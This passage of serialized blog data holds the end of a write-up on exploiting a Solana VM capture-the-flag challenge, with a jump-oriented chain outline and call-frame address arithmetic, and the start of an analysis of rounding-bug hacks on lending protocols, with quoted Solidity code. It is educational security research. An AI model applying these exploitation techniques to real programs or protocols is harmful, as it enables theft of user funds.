",{"type":23,"tag":31,"props":44985,"children":44988},{"href":44986,"rel":44987},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[35],[44989],{"type":28,"value":44990},"StableInstruction",{"type":28,"value":1697},{"type":23,"tag":24,"props":44993,"children":44994},{},[44995],{"type":23,"tag":1116,"props":44996,"children":44998},{"alt":44990,"src":44997},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":16158,"props":45000,"children":45001},{},[45002,45027],{"type":23,"tag":4894,"props":45003,"children":45004},{},[45005,45010,45012,45017,45019,45026],{"type":23,"tag":92,"props":45006,"children":45008},{"className":45007},[],[45009],{"type":28,"value":44862},{"type":28,"value":45011}," points to a slice of ",{"type":23,"tag":92,"props":45013,"children":45015},{"className":45014},[],[45016],{"type":28,"value":44887},{"type":28,"value":45018},"  ",{"type":23,"tag":31,"props":45020,"children":45023},{"href":45021,"rel":45022},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[35],[45024],{"type":28,"value":45025},"AccountInfos",{"type":28,"value":720},{"type":23,"tag":4894,"props":45028,"children":45029},{},[45030,45035,45037,45042,45044,45049],{"type":23,"tag":92,"props":45031,"children":45033},{"className":45032},[],[45034],{"type":28,"value":44904},{"type":28,"value":45036}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":92,"props":45038,"children":45040},{"className":45039},[],[45041],{"type":28,"value":44929},{"type":28,"value":45043},", containing slices of ",{"type":23,"tag":92,"props":45045,"children":45047},{"className":45046},[],[45048],{"type":28,"value":600},{"type":28,"value":720},{"type":23,"tag":24,"props":45051,"children":45052},{},[45053],{"type":23,"tag":1116,"props":45054,"children":45057},{"alt":45055,"src":45056},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":24,"props":45059,"children":45060},{},[45061,45063,45068],{"type":28,"value":45062},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":55,"props":45064,"children":45065},{},[45066],{"type":28,"value":45067},"future call frames",{"type":28,"value":720},{"type":23,"tag":24,"props":45070,"children":45071},{},[45072,45074,45081],{"type":28,"value":45073},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":31,"props":45075,"children":45078},{"href":45076,"rel":45077},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[35],[45079],{"type":28,"value":45080},"reference solution can be found here",{"type":28,"value":720},{"type":23,"tag":24,"props":45083,"children":45084},{},[45085],{"type":28,"value":45086},"Here's a visualization of the final JOP chain.",{"type":23,"tag":87,"props":45088,"children":45090},{"className":43452,"code":45089,"language":43454,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[45091],{"type":23,"tag":92,"props":45092,"children":45093},{"__ignoreMap":7},[45094,45102,45109,45116,45124,45131,45139,45147,45155,45163,45171,45179,45187,45195,45203],{"type":23,"tag":134,"props":45095,"children":45096},{"class":136,"line":137},[45097],{"type":23,"tag":134,"props":45098,"children":45099},{},[45100],{"type":28,"value":45101},"graph BT\n",{"type":23,"tag":134,"props":45103,"children":45104},{"class":136,"line":147},[45105],{"type":23,"tag":134,"props":45106,"children":45107},{},[45108],{"type":28,"value":43474},{"type":23,"tag":134,"props":45110,"children":45111},{"class":136,"line":185},[45112],{"type":23,"tag":134,"props":45113,"children":45114},{},[45115],{"type":28,"value":43482},{"type":23,"tag":134,"props":45117,"children":45118},{"class":136,"line":221},[45119],{"type":23,"tag":134,"props":45120,"children":45121},{},[45122],{"type":28,"value":45123},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":134,"props":45125,"children":45126},{"class":136,"line":332},[45127],{"type":23,"tag":134,"props":45128,"children":45129},{},[45130],{"type":28,"value":43498},{"type":23,"tag":134,"props":45132,"children":45133},{"class":136,"line":438},[45134],{"type":23,"tag":134,"props":45135,"children":45136},{},[45137],{"type":28,"value":45138},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":134,"props":45140,"children":45141},{"class":136,"line":466},[45142],{"type":23,"tag":134,"props":45143,"children":45144},{},[45145],{"type":28,"value":45146},"    E --> G[4: process]\n",{"type":23,"tag":134,"props":45148,"children":45149},{"class":136,"line":479},[45150],{"type":23,"tag":134,"props":45151,"children":45152},{},[45153],{"type":28,"value":45154},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":134,"props":45156,"children":45157},{"class":136,"line":497},[45158],{"type":23,"tag":134,"props":45159,"children":45160},{},[45161],{"type":28,"value":45162},"    G --> I[5: process]\n",{"type":23,"tag":134,"props":45164,"children":45165},{"class":136,"line":518},[45166],{"type":23,"tag":134,"props":45167,"children":45168},{},[45169],{"type":28,"value":45170},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":134,"props":45172,"children":45173},{"class":136,"line":527},[45174],{"type":23,"tag":134,"props":45175,"children":45176},{},[45177],{"type":28,"value":45178},"    I --> K[6: process]\n",{"type":23,"tag":134,"props":45180,"children":45181},{"class":136,"line":780},[45182],{"type":23,"tag":134,"props":45183,"children":45184},{},[45185],{"type":28,"value":45186},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":134,"props":45188,"children":45189},{"class":136,"line":797},[45190],{"type":23,"tag":134,"props":45191,"children":45192},{},[45193],{"type":28,"value":45194},"    K --> N[7: process]\n",{"type":23,"tag":134,"props":45196,"children":45197},{"class":136,"line":814},[45198],{"type":23,"tag":134,"props":45199,"children":45200},{},[45201],{"type":28,"value":45202},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":134,"props":45204,"children":45205},{"class":136,"line":827},[45206],{"type":23,"tag":134,"props":45207,"children":45208},{},[45209],{"type":28,"value":45210},"    N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":24,"props":45212,"children":45213},{},[45214,45216,45222],{"type":28,"value":45215},"Small note: ",{"type":23,"tag":92,"props":45217,"children":45219},{"className":45218},[],[45220],{"type":28,"value":45221},"target_r10",{"type":28,"value":45223}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":87,"props":45225,"children":45227},{"className":128,"code":45226,"language":127,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[45228],{"type":23,"tag":92,"props":45229,"children":45230},{"__ignoreMap":7},[45231,45276,45311,45318],{"type":23,"tag":134,"props":45232,"children":45233},{"class":136,"line":137},[45234,45238,45243,45247,45252,45256,45260,45264,45268,45272],{"type":23,"tag":134,"props":45235,"children":45236},{"style":151},[45237],{"type":28,"value":19744},{"type":23,"tag":134,"props":45239,"children":45240},{"style":264},[45241],{"type":28,"value":45242}," call_frame_addr",{"type":23,"tag":134,"props":45244,"children":45245},{"style":179},[45246],{"type":28,"value":272},{"type":23,"tag":134,"props":45248,"children":45249},{"style":162},[45250],{"type":28,"value":45251},"depth",{"type":23,"tag":134,"props":45253,"children":45254},{"style":168},[45255],{"type":28,"value":1697},{"type":23,"tag":134,"props":45257,"children":45258},{"style":597},[45259],{"type":28,"value":5316},{"type":23,"tag":134,"props":45261,"children":45262},{"style":179},[45263],{"type":28,"value":252},{"type":23,"tag":134,"props":45265,"children":45266},{"style":168},[45267],{"type":28,"value":13225},{"type":23,"tag":134,"props":45269,"children":45270},{"style":597},[45271],{"type":28,"value":5316},{"type":23,"tag":134,"props":45273,"children":45274},{"style":179},[45275],{"type":28,"value":463},{"type":23,"tag":134,"props":45277,"children":45278},{"class":136,"line":147},[45279,45284,45288,45293,45297,45302,45306],{"type":23,"tag":134,"props":45280,"children":45281},{"style":205},[45282],{"type":28,"value":45283},"    0x200000000",{"type":23,"tag":134,"props":45285,"children":45286},{"style":168},[45287],{"type":28,"value":8365},{"type":23,"tag":134,"props":45289,"children":45290},{"style":205},[45291],{"type":28,"value":45292}," 0x2000",{"type":23,"tag":134,"props":45294,"children":45295},{"style":168},[45296],{"type":28,"value":9281},{"type":23,"tag":134,"props":45298,"children":45299},{"style":162},[45300],{"type":28,"value":45301}," depth",{"type":23,"tag":134,"props":45303,"children":45304},{"style":168},[45305],{"type":28,"value":8365},{"type":23,"tag":134,"props":45307,"children":45308},{"style":205},[45309],{"type":28,"value":45310}," 0x1000\n",{"type":23,"tag":134,"props":45312,"children":45313},{"class":136,"line":185},[45314],{"type":23,"tag":134,"props":45315,"children":45316},{"style":179},[45317],{"type":28,"value":1098},{"type":23,"tag":134,"props":45319,"children":45320},{"class":136,"line":221},[45321],{"type":23,"tag":134,"props":45322,"children":45323},{"style":141},[45324],{"type":28,"value":45325},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":61,"props":45327,"children":45328},{"id":28425},[45329],{"type":28,"value":18423},{"type":23,"tag":24,"props":45331,"children":45332},{},[45333,45335,45342],{"type":28,"value":45334},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":31,"props":45336,"children":45339},{"href":45337,"rel":45338},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[35],[45340],{"type":28,"value":45341},"they do exist",{"type":28,"value":720},{"type":23,"tag":24,"props":45344,"children":45345},{},[45346],{"type":28,"value":45347},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":24,"props":45349,"children":45350},{},[45351,45353,45358],{"type":28,"value":45352},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":55,"props":45354,"children":45355},{},[45356],{"type":28,"value":45357},"entire",{"type":28,"value":45359}," runtime.",{"type":23,"tag":2575,"props":45361,"children":45362},{},[45363],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":45365},[45366,45370,45371,45374],{"id":18432,"depth":147,"text":18435,"children":45367},[45368,45369],{"id":40040,"depth":185,"text":40043},{"id":41359,"depth":185,"text":41362},{"id":42598,"depth":147,"text":42601},{"id":43434,"depth":147,"text":43437,"children":45372},[45373],{"id":43548,"depth":185,"text":43551},{"id":28425,"depth":147,"text":18423},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":45379,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":45380,"description":45381,"author":45382,"image":45383,"date":45385,"isFeatured":15,"onBlogPage":15,"body":45386,"_type":2586,"_id":46532,"_source":2588,"_file":46533,"_stem":46534,"_extension":2591},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[5175],{"src":45384},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":45387,"toc":46521},[45388,45392,45420,45425,45438,45443,45449,45454,45459,45464,45469,45482,45494,45514,45534,45539,45544,45562,45568,45573,45579,45593,45606,45611,45617,45631,45636,45658,45891,45896,45901,45914,46154,46164,46169,46175,46180,46185,46218,46223,46234,46240,46245,46259,46387,46401,46477,46482,46493,46498,46503,46507,46512,46517],{"type":23,"tag":61,"props":45389,"children":45390},{"id":28508},[45391],{"type":28,"value":28511},{"type":23,"tag":24,"props":45393,"children":45394},{},[45395,45397,45404,45405,45412,45414,45419],{"type":28,"value":45396},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":31,"props":45398,"children":45401},{"href":45399,"rel":45400},"https://neodyme.io/de/blog/lending_disclosure",[35],[45402],{"type":28,"value":45403},"fast",{"type":28,"value":242},{"type":23,"tag":31,"props":45406,"children":45409},{"href":45407,"rel":45408},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[35],[45410],{"type":28,"value":45411},"cheap",{"type":28,"value":45413}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":55,"props":45415,"children":45416},{},[45417],{"type":28,"value":45418},"Most people haven't considered what happens when shares are worth a lot",{"type":28,"value":720},{"type":23,"tag":24,"props":45421,"children":45422},{},[45423],{"type":28,"value":45424},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":4890,"props":45426,"children":45427},{},[45428,45433],{"type":23,"tag":4894,"props":45429,"children":45430},{},[45431],{"type":28,"value":45432},"Inflate share value (token to share conversion rate)",{"type":23,"tag":4894,"props":45434,"children":45435},{},[45436],{"type":28,"value":45437},"Exploit rounding bug",{"type":23,"tag":24,"props":45439,"children":45440},{},[45441],{"type":28,"value":45442},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":61,"props":45444,"children":45446},{"id":45445},"model",[45447],{"type":28,"value":45448},"Model",{"type":23,"tag":24,"props":45450,"children":45451},{},[45452],{"type":28,"value":45453},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":24,"props":45455,"children":45456},{},[45457],{"type":28,"value":45458},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":24,"props":45460,"children":45461},{},[45462],{"type":28,"value":45463},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":24,"props":45465,"children":45466},{},[45467],{"type":28,"value":45468},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":24,"props":45470,"children":45471},{},[45472,45474,45480],{"type":28,"value":45473},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":92,"props":45475,"children":45477},{"className":45476},[],[45478],{"type":28,"value":45479},"1000:1000",{"type":28,"value":45481}," (1000 tokens to 1000 shares).",{"type":23,"tag":24,"props":45483,"children":45484},{},[45485,45487,45493],{"type":28,"value":45486},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":92,"props":45488,"children":45490},{"className":45489},[],[45491],{"type":28,"value":45492},"1001:1000",{"type":28,"value":720},{"type":23,"tag":24,"props":45495,"children":45496},{},[45497,45499,45505,45507,45512],{"type":28,"value":45498},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":92,"props":45500,"children":45502},{"className":45501},[],[45503],{"type":28,"value":45504},"1001/1000*999 = 999.999",{"type":28,"value":45506},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":55,"props":45508,"children":45509},{},[45510],{"type":28,"value":45511},"down",{"type":28,"value":45513}," against the user.",{"type":23,"tag":24,"props":45515,"children":45516},{},[45517,45519,45525,45527,45533],{"type":28,"value":45518},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":92,"props":45520,"children":45522},{"className":45521},[],[45523],{"type":28,"value":45524},"2:1",{"type":28,"value":45526},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":92,"props":45528,"children":45530},{"className":45529},[],[45531],{"type":28,"value":45532},"3:1",{"type":28,"value":720},{"type":23,"tag":24,"props":45535,"children":45536},{},[45537],{"type":28,"value":45538},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":24,"props":45540,"children":45541},{},[45542],{"type":28,"value":45543},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":4890,"props":45545,"children":45546},{},[45547,45552,45557],{"type":23,"tag":4894,"props":45548,"children":45549},{},[45550],{"type":28,"value":45551},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":4894,"props":45553,"children":45554},{},[45555],{"type":28,"value":45556},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":4894,"props":45558,"children":45559},{},[45560],{"type":28,"value":45561},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":61,"props":45563,"children":45565},{"id":45564},"decisions",[45566],{"type":28,"value":45567},"Decisions",{"type":23,"tag":24,"props":45569,"children":45570},{},[45571],{"type":28,"value":45572},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":9072,"props":45574,"children":45576},{"id":45575},"radiant-capital",[45577],{"type":28,"value":45578},"Radiant Capital",{"type":23,"tag":24,"props":45580,"children":45581},{},[45582,45584,45591],{"type":28,"value":45583},"Radiant Capital was ",{"type":23,"tag":31,"props":45585,"children":45588},{"href":45586,"rel":45587},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[35],[45589],{"type":28,"value":45590},"hacked on Jan 2nd",{"type":28,"value":45592}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":24,"props":45594,"children":45595},{},[45596,45598,45605],{"type":28,"value":45597},"The exploit is relatively straightforward and ",{"type":23,"tag":31,"props":45599,"children":45602},{"href":45600,"rel":45601},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[35],[45603],{"type":28,"value":45604},"has already been covered previously",{"type":28,"value":720},{"type":23,"tag":24,"props":45607,"children":45608},{},[45609],{"type":28,"value":45610},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":9072,"props":45612,"children":45614},{"id":45613},"wise-lending",[45615],{"type":28,"value":45616},"Wise Lending",{"type":23,"tag":24,"props":45618,"children":45619},{},[45620,45622,45629],{"type":28,"value":45621},"Wise Lending was ",{"type":23,"tag":31,"props":45623,"children":45626},{"href":45624,"rel":45625},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[35],[45627],{"type":28,"value":45628},"hacked on January 13th",{"type":28,"value":45630}," for just under $460,000.",{"type":23,"tag":24,"props":45632,"children":45633},{},[45634],{"type":28,"value":45635},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":24,"props":45637,"children":45638},{},[45639,45641,45648,45650,45657],{"type":28,"value":45640},"This is ",{"type":23,"tag":31,"props":45642,"children":45645},{"href":45643,"rel":45644},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[35],[45646],{"type":28,"value":45647},"the code responsible",{"type":28,"value":45649}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":31,"props":45651,"children":45654},{"href":45652,"rel":45653},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[35],[45655],{"type":28,"value":45656},"no way to atomically self-bankrupt",{"type":28,"value":720},{"type":23,"tag":87,"props":45659,"children":45661},{"className":1680,"code":45660,"language":1679,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[45662],{"type":23,"tag":92,"props":45663,"children":45664},{"__ignoreMap":7},[45665,45696,45704,45712,45719,45741,45754,45761,45782,45812,45824,45836,45843,45867,45884],{"type":23,"tag":134,"props":45666,"children":45667},{"class":136,"line":137},[45668,45673,45678,45682,45687,45692],{"type":23,"tag":134,"props":45669,"children":45670},{"style":597},[45671],{"type":28,"value":45672},"uint256",{"type":23,"tag":134,"props":45674,"children":45675},{"style":179},[45676],{"type":28,"value":45677}," withdrawValue ",{"type":23,"tag":134,"props":45679,"children":45680},{"style":168},[45681],{"type":28,"value":257},{"type":23,"tag":134,"props":45683,"children":45684},{"style":179},[45685],{"type":28,"value":45686}," WISE_ORACLE.",{"type":23,"tag":134,"props":45688,"children":45689},{"style":264},[45690],{"type":28,"value":45691},"getTokensInETH",{"type":23,"tag":134,"props":45693,"children":45694},{"style":179},[45695],{"type":28,"value":642},{"type":23,"tag":134,"props":45697,"children":45698},{"class":136,"line":147},[45699],{"type":23,"tag":134,"props":45700,"children":45701},{"style":179},[45702],{"type":28,"value":45703},"    _poolToken,\n",{"type":23,"tag":134,"props":45705,"children":45706},{"class":136,"line":185},[45707],{"type":23,"tag":134,"props":45708,"children":45709},{"style":179},[45710],{"type":28,"value":45711},"    _amount\n",{"type":23,"tag":134,"props":45713,"children":45714},{"class":136,"line":221},[45715],{"type":23,"tag":134,"props":45716,"children":45717},{"style":179},[45718],{"type":28,"value":329},{"type":23,"tag":134,"props":45720,"children":45721},{"class":136,"line":332},[45722,45726,45731,45736],{"type":23,"tag":134,"props":45723,"children":45724},{"style":168},[45725],{"type":28,"value":17034},{"type":23,"tag":134,"props":45727,"children":45728},{"style":179},[45729],{"type":28,"value":45730}," WISE_LENDING.",{"type":23,"tag":134,"props":45732,"children":45733},{"style":264},[45734],{"type":28,"value":45735},"lendingPoolData",{"type":23,"tag":134,"props":45737,"children":45738},{"style":179},[45739],{"type":28,"value":45740},"(_poolToken).collateralFactor\n",{"type":23,"tag":134,"props":45742,"children":45743},{"class":136,"line":438},[45744,45749],{"type":23,"tag":134,"props":45745,"children":45746},{"style":168},[45747],{"type":28,"value":45748},"    /",{"type":23,"tag":134,"props":45750,"children":45751},{"style":179},[45752],{"type":28,"value":45753}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":134,"props":45755,"children":45756},{"class":136,"line":466},[45757],{"type":23,"tag":134,"props":45758,"children":45759},{"emptyLinePlaceholder":15},[45760],{"type":28,"value":865},{"type":23,"tag":134,"props":45762,"children":45763},{"class":136,"line":479},[45764,45768,45773,45777],{"type":23,"tag":134,"props":45765,"children":45766},{"style":597},[45767],{"type":28,"value":29179},{"type":23,"tag":134,"props":45769,"children":45770},{"style":179},[45771],{"type":28,"value":45772}," state ",{"type":23,"tag":134,"props":45774,"children":45775},{"style":168},[45776],{"type":28,"value":257},{"type":23,"tag":134,"props":45778,"children":45779},{"style":179},[45780],{"type":28,"value":45781}," borrowPercentageCap\n",{"type":23,"tag":134,"props":45783,"children":45784},{"class":136,"line":497},[45785,45789,45793,45798,45803,45807],{"type":23,"tag":134,"props":45786,"children":45787},{"style":168},[45788],{"type":28,"value":17034},{"type":23,"tag":134,"props":45790,"children":45791},{"style":179},[45792],{"type":28,"value":232},{"type":23,"tag":134,"props":45794,"children":45795},{"style":264},[45796],{"type":28,"value":45797},"overallETHCollateralsWeighted",{"type":23,"tag":134,"props":45799,"children":45800},{"style":179},[45801],{"type":28,"value":45802},"(_nftId) ",{"type":23,"tag":134,"props":45804,"children":45805},{"style":168},[45806],{"type":28,"value":1532},{"type":23,"tag":134,"props":45808,"children":45809},{"style":179},[45810],{"type":28,"value":45811}," withdrawValue)\n",{"type":23,"tag":134,"props":45813,"children":45814},{"class":136,"line":518},[45815,45819],{"type":23,"tag":134,"props":45816,"children":45817},{"style":168},[45818],{"type":28,"value":45748},{"type":23,"tag":134,"props":45820,"children":45821},{"style":179},[45822],{"type":28,"value":45823}," PRECISION_FACTOR_E18\n",{"type":23,"tag":134,"props":45825,"children":45826},{"class":136,"line":527},[45827,45831],{"type":23,"tag":134,"props":45828,"children":45829},{"style":168},[45830],{"type":28,"value":31941},{"type":23,"tag":134,"props":45832,"children":45833},{"style":179},[45834],{"type":28,"value":45835}," borrowAmount;\n",{"type":23,"tag":134,"props":45837,"children":45838},{"class":136,"line":780},[45839],{"type":23,"tag":134,"props":45840,"children":45841},{"emptyLinePlaceholder":15},[45842],{"type":28,"value":865},{"type":23,"tag":134,"props":45844,"children":45845},{"class":136,"line":797},[45846,45850,45855,45859,45863],{"type":23,"tag":134,"props":45847,"children":45848},{"style":189},[45849],{"type":28,"value":15049},{"type":23,"tag":134,"props":45851,"children":45852},{"style":179},[45853],{"type":28,"value":45854}," (state ",{"type":23,"tag":134,"props":45856,"children":45857},{"style":168},[45858],{"type":28,"value":8035},{"type":23,"tag":134,"props":45860,"children":45861},{"style":151},[45862],{"type":28,"value":11936},{"type":23,"tag":134,"props":45864,"children":45865},{"style":179},[45866],{"type":28,"value":14272},{"type":23,"tag":134,"props":45868,"children":45869},{"class":136,"line":814},[45870,45875,45880],{"type":23,"tag":134,"props":45871,"children":45872},{"style":189},[45873],{"type":28,"value":45874},"    revert",{"type":23,"tag":134,"props":45876,"children":45877},{"style":264},[45878],{"type":28,"value":45879}," ResultsInBadDebt",{"type":23,"tag":134,"props":45881,"children":45882},{"style":179},[45883],{"type":28,"value":856},{"type":23,"tag":134,"props":45885,"children":45886},{"class":136,"line":827},[45887],{"type":23,"tag":134,"props":45888,"children":45889},{"style":179},[45890],{"type":28,"value":1098},{"type":23,"tag":24,"props":45892,"children":45893},{},[45894],{"type":28,"value":45895},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":24,"props":45897,"children":45898},{},[45899],{"type":28,"value":45900},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":24,"props":45902,"children":45903},{},[45904,45906,45912],{"type":28,"value":45905},"And indeed, ",{"type":23,"tag":31,"props":45907,"children":45910},{"href":45908,"rel":45909},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[35],[45911],{"type":28,"value":45616},{"type":28,"value":45913}," rounds up the share value.",{"type":23,"tag":87,"props":45915,"children":45917},{"className":1680,"code":45916,"language":1679,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[45918],{"type":23,"tag":92,"props":45919,"children":45920},{"__ignoreMap":7},[45921,45937,45954,45970,45983,45990,45998,46006,46026,46033,46054,46075,46097,46126,46147],{"type":23,"tag":134,"props":45922,"children":45923},{"class":136,"line":137},[45924,45928,45933],{"type":23,"tag":134,"props":45925,"children":45926},{"style":151},[45927],{"type":28,"value":30872},{"type":23,"tag":134,"props":45929,"children":45930},{"style":264},[45931],{"type":28,"value":45932}," _calculateShares",{"type":23,"tag":134,"props":45934,"children":45935},{"style":179},[45936],{"type":28,"value":642},{"type":23,"tag":134,"props":45938,"children":45939},{"class":136,"line":147},[45940,45945,45950],{"type":23,"tag":134,"props":45941,"children":45942},{"style":597},[45943],{"type":28,"value":45944},"    uint256",{"type":23,"tag":134,"props":45946,"children":45947},{"style":162},[45948],{"type":28,"value":45949}," _product",{"type":23,"tag":134,"props":45951,"children":45952},{"style":179},[45953],{"type":28,"value":687},{"type":23,"tag":134,"props":45955,"children":45956},{"class":136,"line":185},[45957,45961,45966],{"type":23,"tag":134,"props":45958,"children":45959},{"style":597},[45960],{"type":28,"value":45944},{"type":23,"tag":134,"props":45962,"children":45963},{"style":162},[45964],{"type":28,"value":45965}," _pseudo",{"type":23,"tag":134,"props":45967,"children":45968},{"style":179},[45969],{"type":28,"value":687},{"type":23,"tag":134,"props":45971,"children":45972},{"class":136,"line":221},[45973,45978],{"type":23,"tag":134,"props":45974,"children":45975},{"style":597},[45976],{"type":28,"value":45977},"    bool",{"type":23,"tag":134,"props":45979,"children":45980},{"style":162},[45981],{"type":28,"value":45982}," _maxSharePrice\n",{"type":23,"tag":134,"props":45984,"children":45985},{"class":136,"line":332},[45986],{"type":23,"tag":134,"props":45987,"children":45988},{"style":179},[45989],{"type":28,"value":329},{"type":23,"tag":134,"props":45991,"children":45992},{"class":136,"line":438},[45993],{"type":23,"tag":134,"props":45994,"children":45995},{"style":151},[45996],{"type":28,"value":45997},"    private\n",{"type":23,"tag":134,"props":45999,"children":46000},{"class":136,"line":466},[46001],{"type":23,"tag":134,"props":46002,"children":46003},{"style":151},[46004],{"type":28,"value":46005},"    pure\n",{"type":23,"tag":134,"props":46007,"children":46008},{"class":136,"line":479},[46009,46014,46018,46022],{"type":23,"tag":134,"props":46010,"children":46011},{"style":189},[46012],{"type":28,"value":46013},"    